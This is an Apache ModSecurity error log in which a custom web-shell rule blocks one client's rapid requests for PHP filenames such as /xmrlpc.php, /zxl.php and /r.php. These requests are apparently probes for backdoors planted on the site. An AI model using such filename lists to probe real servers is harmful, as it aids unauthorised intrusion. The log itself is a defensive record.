[Fri Dec 26 00:51:06.875492 2025] [:error] [pid 24864:tid 24933] [client 4.193.224.251:9024] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmrlpc.php"] [unique_id "aU1resu59XOK5DpQQdCHWAAAAU0"]
[Fri Dec 26 00:51:07.053984 2025] [:error] [pid 24864:tid 24944] [client 4.193.224.251:8953] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmrlpc.php"] [unique_id "aU1re8u59XOK5DpQQdCHWgAAAVg"]
[Fri Dec 26 00:51:07.231482 2025] [:error] [pid 24864:tid 24936] [client 4.193.224.251:8451] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asas.php"] [unique_id "aU1re8u59XOK5DpQQdCHXAAAAVA"]
[Fri Dec 26 00:51:07.405515 2025] [:error] [pid 24864:tid 24925] [client 4.193.224.251:8453] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asas.php"] [unique_id "aU1re8u59XOK5DpQQdCHXgAAAUU"]
[Fri Dec 26 00:51:07.588752 2025] [:error] [pid 24862:tid 24875] [client 4.193.224.251:8489] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asas.php"] [unique_id "aU1re7t-eeEEuo-2JKgihAAAAAk"]
[Fri Dec 26 00:51:07.788935 2025] [:error] [pid 24863:tid 24907] [client 4.193.224.251:8919] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asas.php"] [unique_id "aU1rex8SaH2KMpp43vfekgAAAM4"]
[Fri Dec 26 00:51:07.963502 2025] [:error] [pid 24946:tid 24955] [client 4.193.224.251:8595] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aU1re1fyLYxv3Jn9S70xJgAAAEc"]
[Fri Dec 26 00:51:08.146249 2025] [:error] [pid 24864:tid 24920] [client 4.193.224.251:8452] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aU1rfMu59XOK5DpQQdCHYgAAAUA"]
[Fri Dec 26 00:51:08.346703 2025] [:error] [pid 24862:tid 24884] [client 4.193.224.251:8906] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aU1rfLt-eeEEuo-2JKgihQAAABI"]
[Fri Dec 26 00:51:08.520733 2025] [:error] [pid 24862:tid 24869] [client 4.193.224.251:8462] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aU1rfLt-eeEEuo-2JKgihgAAAAM"]
[Fri Dec 26 00:51:08.714816 2025] [:error] [pid 24946:tid 24954] [client 4.193.224.251:8947] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aU1rfFfyLYxv3Jn9S70xKgAAAEY"]
[Fri Dec 26 00:51:08.888867 2025] [:error] [pid 24863:tid 24917] [client 4.193.224.251:8914] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aU1rfB8SaH2KMpp43vfelgAAANg"]
[Fri Dec 26 00:51:09.076454 2025] [:error] [pid 24863:tid 24914] [client 4.193.224.251:8584] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aU1rfR8SaH2KMpp43vfelwAAANU"]
[Fri Dec 26 00:51:09.297667 2025] [:error] [pid 24863:tid 24906] [client 4.193.224.251:8950] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aU1rfR8SaH2KMpp43vfemQAAAM0"]
[Fri Dec 26 00:51:09.480330 2025] [:error] [pid 24863:tid 24902] [client 4.193.224.251:8503] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/akcc.php"] [unique_id "aU1rfR8SaH2KMpp43vfenAAAAMk"]
[Fri Dec 26 00:51:09.653465 2025] [:error] [pid 24946:tid 24950] [client 4.193.224.251:8940] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/akcc.php"] [unique_id "aU1rfVfyLYxv3Jn9S70xLAAAAEI"]
[Fri Dec 26 00:51:09.826184 2025] [:error] [pid 24946:tid 24960] [client 4.193.224.251:8593] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/akcc.php"] [unique_id "aU1rfVfyLYxv3Jn9S70xLQAAAEw"]
[Fri Dec 26 00:51:10.001073 2025] [:error] [pid 24946:tid 24968] [client 4.193.224.251:8905] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/akcc.php"] [unique_id "aU1rflfyLYxv3Jn9S70xMAAAAFQ"]
[Fri Dec 26 00:51:10.186947 2025] [:error] [pid 24864:tid 24930] [client 4.193.224.251:8901] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zxl.php"] [unique_id "aU1rfsu59XOK5DpQQdCHaQAAAUo"]
[Fri Dec 26 00:51:10.360888 2025] [:error] [pid 24863:tid 24913] [client 4.193.224.251:8608] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zxl.php"] [unique_id "aU1rfh8SaH2KMpp43vfenwAAANQ"]
[Fri Dec 26 00:51:10.547725 2025] [:error] [pid 24863:tid 24909] [client 4.193.224.251:8924] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zxl.php"] [unique_id "aU1rfh8SaH2KMpp43vfeoQAAANA"]
[Fri Dec 26 00:51:10.722397 2025] [:error] [pid 24863:tid 24911] [client 4.193.224.251:8192] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zxl.php"] [unique_id "aU1rfh8SaH2KMpp43vfeogAAANI"]
[Fri Dec 26 00:51:10.900268 2025] [:error] [pid 24864:tid 24927] [client 4.193.224.251:8936] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/r.php"] [unique_id "aU1rfsu59XOK5DpQQdCHcgAAAUc"]
[Fri Dec 26 00:51:11.084558 2025] [:error] [pid 24863:tid 24896] [client 4.193.224.251:9086] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/r.php"] [unique_id "aU1rfx8SaH2KMpp43vfepAAAAMM"]
[Fri Dec 26 00:51:11.259454 2025] [:error] [pid 24863:tid 24898] [client 4.193.224.251:8492] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/r.php"] [unique_id "aU1rfx8SaH2KMpp43vfepQAAAMU"]
[Fri Dec 26 00:51:11.494469 2025] [:error] [pid 24946:tid 24969] [client 4.193.224.251:8455] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/r.php"] [unique_id "aU1rf1fyLYxv3Jn9S70xNAAAAFU"]
[Fri Dec 26 00:51:11.671109 2025] [:error] [pid 24862:tid 24877] [client 4.193.224.251:8484] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ar.php"] [unique_id "aU1rf7t-eeEEuo-2JKgiiAAAAAs"]
[Fri Dec 26 00:51:11.857943 2025] [:error] [pid 24863:tid 24904] [client 4.193.224.251:8583] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ar.php"] [unique_id "aU1rfx8SaH2KMpp43vfeqQAAAMs"]
[Fri Dec 26 00:51:12.036322 2025] [:error] [pid 24864:tid 24938] [client 4.193.224.251:8507] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ar.php"] [unique_id "aU1rgMu59XOK5DpQQdCHewAAAVI"]
[Fri Dec 26 00:51:12.209731 2025] [:error] [pid 24863:tid 24917] [client 4.193.224.251:8587] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ar.php"] [unique_id "aU1rgB8SaH2KMpp43vfeqgAAANg"]
[Fri Dec 26 00:51:12.411983 2025] [:error] [pid 24863:tid 24905] [client 4.193.224.251:8469] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/js.php"] [unique_id "aU1rgB8SaH2KMpp43vferAAAAMw"]
[Fri Dec 26 00:51:12.598075 2025] [:error] [pid 24863:tid 24915] [client 4.193.224.251:8904] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/js.php"] [unique_id "aU1rgB8SaH2KMpp43vfesAAAANY"]
[Fri Dec 26 00:51:12.771601 2025] [:error] [pid 24864:tid 24924] [client 4.193.224.251:8193] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/js.php"] [unique_id "aU1rgMu59XOK5DpQQdCHfwAAAUQ"]
[Fri Dec 26 00:51:12.949060 2025] [:error] [pid 24863:tid 24913] [client 4.193.224.251:8472] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/js.php"] [unique_id "aU1rgB8SaH2KMpp43vfeswAAANQ"]
[Fri Dec 26 00:51:13.129559 2025] [:error] [pid 24946:tid 24948] [client 4.193.224.251:8495] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file1.php"] [unique_id "aU1rgVfyLYxv3Jn9S70xNQAAAEA"]
[Fri Dec 26 00:51:13.304984 2025] [:error] [pid 24863:tid 24911] [client 4.193.224.251:8957] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file1.php"] [unique_id "aU1rgR8SaH2KMpp43vfetQAAANI"]
[Fri Dec 26 00:51:13.519371 2025] [:error] [pid 24862:tid 24871] [client 4.193.224.251:8636] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file1.php"] [unique_id "aU1rgbt-eeEEuo-2JKgijQAAAAU"]
[Fri Dec 26 00:51:13.692868 2025] [:error] [pid 24862:tid 24888] [client 4.193.224.251:8913] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file1.php"] [unique_id "aU1rgbt-eeEEuo-2JKgijgAAABY"]
[Fri Dec 26 00:51:13.868672 2025] [:error] [pid 24946:tid 24964] [client 4.193.224.251:8935] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mar.php"] [unique_id "aU1rgVfyLYxv3Jn9S70xOAAAAFA"]
[Fri Dec 26 00:51:14.077173 2025] [:error] [pid 24863:tid 24899] [client 4.193.224.251:9045] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mar.php"] [unique_id "aU1rgh8SaH2KMpp43vfeuQAAAMY"]
[Fri Dec 26 00:51:14.252907 2025] [:error] [pid 24864:tid 24938] [client 4.193.224.251:8509] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mar.php"] [unique_id "aU1rgsu59XOK5DpQQdCHkQAAAVI"]
[Fri Dec 26 00:51:14.426933 2025] [:error] [pid 24863:tid 24895] [client 4.193.224.251:8477] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mar.php"] [unique_id "aU1rgh8SaH2KMpp43vfeugAAAMI"]
[Fri Dec 26 00:51:14.604661 2025] [:error] [pid 24862:tid 24882] [client 4.193.224.251:8907] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/123.php"] [unique_id "aU1rgrt-eeEEuo-2JKgikAAAABA"]
[Fri Dec 26 00:51:14.785315 2025] [:error] [pid 24864:tid 24939] [client 4.193.224.251:8921] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/123.php"] [unique_id "aU1rgsu59XOK5DpQQdCHkwAAAVM"]
[Fri Dec 26 00:51:14.978306 2025] [:error] [pid 24864:tid 24935] [client 4.193.224.251:9073] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/123.php"] [unique_id "aU1rgsu59XOK5DpQQdCHlQAAAU8"]
[Fri Dec 26 00:51:15.152287 2025] [:error] [pid 24864:tid 24932] [client 4.193.224.251:8493] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/123.php"] [unique_id "aU1rg8u59XOK5DpQQdCHlwAAAUw"]
[Fri Dec 26 00:51:15.327307 2025] [:error] [pid 24946:tid 24965] [client 4.193.224.251:8202] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/321.php"] [unique_id "aU1rg1fyLYxv3Jn9S70xOwAAAFE"]
[Fri Dec 26 00:51:15.514629 2025] [:error] [pid 24946:tid 24959] [client 4.193.224.251:8908] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/321.php"] [unique_id "aU1rg1fyLYxv3Jn9S70xPQAAAEs"]
[Fri Dec 26 00:51:15.698094 2025] [:error] [pid 24863:tid 24905] [client 4.193.224.251:8626] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/321.php"] [unique_id "aU1rgx8SaH2KMpp43vfewAAAAMw"]
[Fri Dec 26 00:51:15.885816 2025] [:error] [pid 24862:tid 24866] [client 4.193.224.251:8609] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/321.php"] [unique_id "aU1rg7t-eeEEuo-2JKgikwAAAAA"]
[Fri Dec 26 00:51:16.090179 2025] [:error] [pid 24864:tid 24927] [client 4.193.224.251:8637] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aU1rhMu59XOK5DpQQdCHmwAAAUc"]
[Fri Dec 26 00:51:16.274452 2025] [:error] [pid 24862:tid 24890] [client 4.193.224.251:8923] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aU1rhLt-eeEEuo-2JKgilwAAABg"]
[Fri Dec 26 00:51:16.452693 2025] [:error] [pid 24862:tid 24889] [client 4.193.224.251:8199] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aU1rhLt-eeEEuo-2JKgimQAAABc"]
[Fri Dec 26 00:51:16.647325 2025] [:error] [pid 24863:tid 24903] [client 4.193.224.251:8580] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aU1rhB8SaH2KMpp43vfewQAAAMo"]
[Fri Dec 26 00:51:16.821501 2025] [:error] [pid 24863:tid 24915] [client 4.193.224.251:8450] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aU1rhB8SaH2KMpp43vfewgAAANY"]
[Fri Dec 26 00:51:17.004220 2025] [:error] [pid 24946:tid 24951] [client 4.193.224.251:8946] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aU1rhVfyLYxv3Jn9S70xQAAAAEM"]
[Fri Dec 26 00:51:17.209487 2025] [:error] [pid 24946:tid 24968] [client 4.193.224.251:8466] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aU1rhVfyLYxv3Jn9S70xQQAAAFQ"]
